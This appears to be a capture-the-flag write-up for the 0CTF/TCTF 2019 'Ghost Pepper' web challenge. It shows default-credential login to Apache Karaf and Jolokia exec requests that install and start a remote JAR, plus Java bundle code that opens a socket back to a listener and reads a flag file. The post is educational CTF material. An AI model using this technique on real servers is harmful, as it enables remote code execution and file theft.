Friday, March 29, 2019

0CTF/TCTF 2019 Quals - Ghost Pepper


Do you know ghost pepper? Let’s eat.


Vitor B2e4gl3 started the enumeration of this challenge and was extremely important for my final solution.

When the page was accessed, a credential was asked:

URL login

As the authentication realm was karaf, Vitor tried karaf:karaf as auth and it passed.

The / path 404'd, so an enumeration was necessary. Vitor searched for Ghost Pepper and found out that its scientific name is Bhut jolokia.

Bhut jolokia Wikipedia article

Besides a pepper, Jolokia is a JMX-HTTP bridge giving an alternative to JSR-160 connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies, as the official site states.

Vitor tried to access /jolokia and the installation info popped out.

Jolokia installation info

Vitor did an amazing job enumerating Jolokia methods and installation versions. Nothing looked exploitable, so we would probably need to use some Jolokia method.

Back to Karaf, it is a lightweight, powerful, and enterprise ready applications runtime. It provides all the ecosystem and bootstrapping options you need for your applications. It runs on premise or on cloud. By polymorphic, it means that Karaf can host any kind of applications: WAR, OSGi, Spring, and much more, as the official website states. So maybe Karaf can run our applications?

Vitor found out two important Jolokia methods, including one that listed mbeans executing:

mbeans running in Jolokia

And using this list, the method that shows bundles running in Karaf:,type=bundle

Bundles running in Karaf

At some point there were bundles running with names looking like stuff other players uploaded, so we focused on that.

I went deep into the Jolokia documentation and I found out there are 6 possible operations: read, write, exec, search, list and version.

Exec is a good operation for an exploit. :)

But what to exec?

After a lot of search, I found out Karaf has an install method on bundles mbean. Both receive the jar’s URL.

long install(String url) throws MBeanException;
long install(String url, boolean start) throws MBeanException;

But how to use it? Back to the mbeans list from Jolokia, the method signature was there:

"install": [{
    "args": [{
        "name": "p1",
        "type": "java.lang.String",
        "desc": ""
    "ret": "long",
    "desc": "Operation exposed for management"

I needed to use the install method, so I chose to use POST on Jolokia. This is what it looks like:

POST /jolokia
    "type": "<read/write/exec/search/list/version>",
    "mbean": "<mbean name>",
    "operation" : "<operation name>",
    "arguments": ["<arg1>","<arg2>","..."]

Note: GET works as well, but I preferred to use POST for my final exploit.

One important thing: as you saw before, there are two install methods on this mbean. Jolokia states that you need to describe the operation using its argument signature when there is a method overload. I chose to use the method with one argument, the URL.

POST /jolokia
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation" : "install(java.lang.String)",
    "arguments": ["http://<url>/reverse.jar"]

This request will install the Bundle, not start it. When you run it, the response contains the bundle ID, and that’s what is needed to start the bundle. This operation was stated on source and mbeans list as well:

POST /jolokia
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation" : "start",
    "arguments": [94]

And how did we write the jar itself?

We needed to implement a class that extends BundleActivator. This article and this article have more info on how to create Java Bundles, so I will not go into much detail.

After some testing, I came up with an exploit that returned me the list of files.

Luckily there was a flag file, and this was my final exploit:

package team.fireshellsecurity;

import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;

public class App implements BundleActivator {
    public void start(BundleContext paramBundleContext) throws Exception {
        String str = "";
        int i = 10696;
        Socket localSocket = new Socket(str, i);

        File file = new File("flag");

        BufferedReader br = new BufferedReader(new FileReader(file));

        String output = "";
        String st;
        while ((st = br.readLine()) != null) {
            output += st;


    public void stop(BundleContext paramBundleContext) throws Exception {



Capture the Flag , Web , Writeup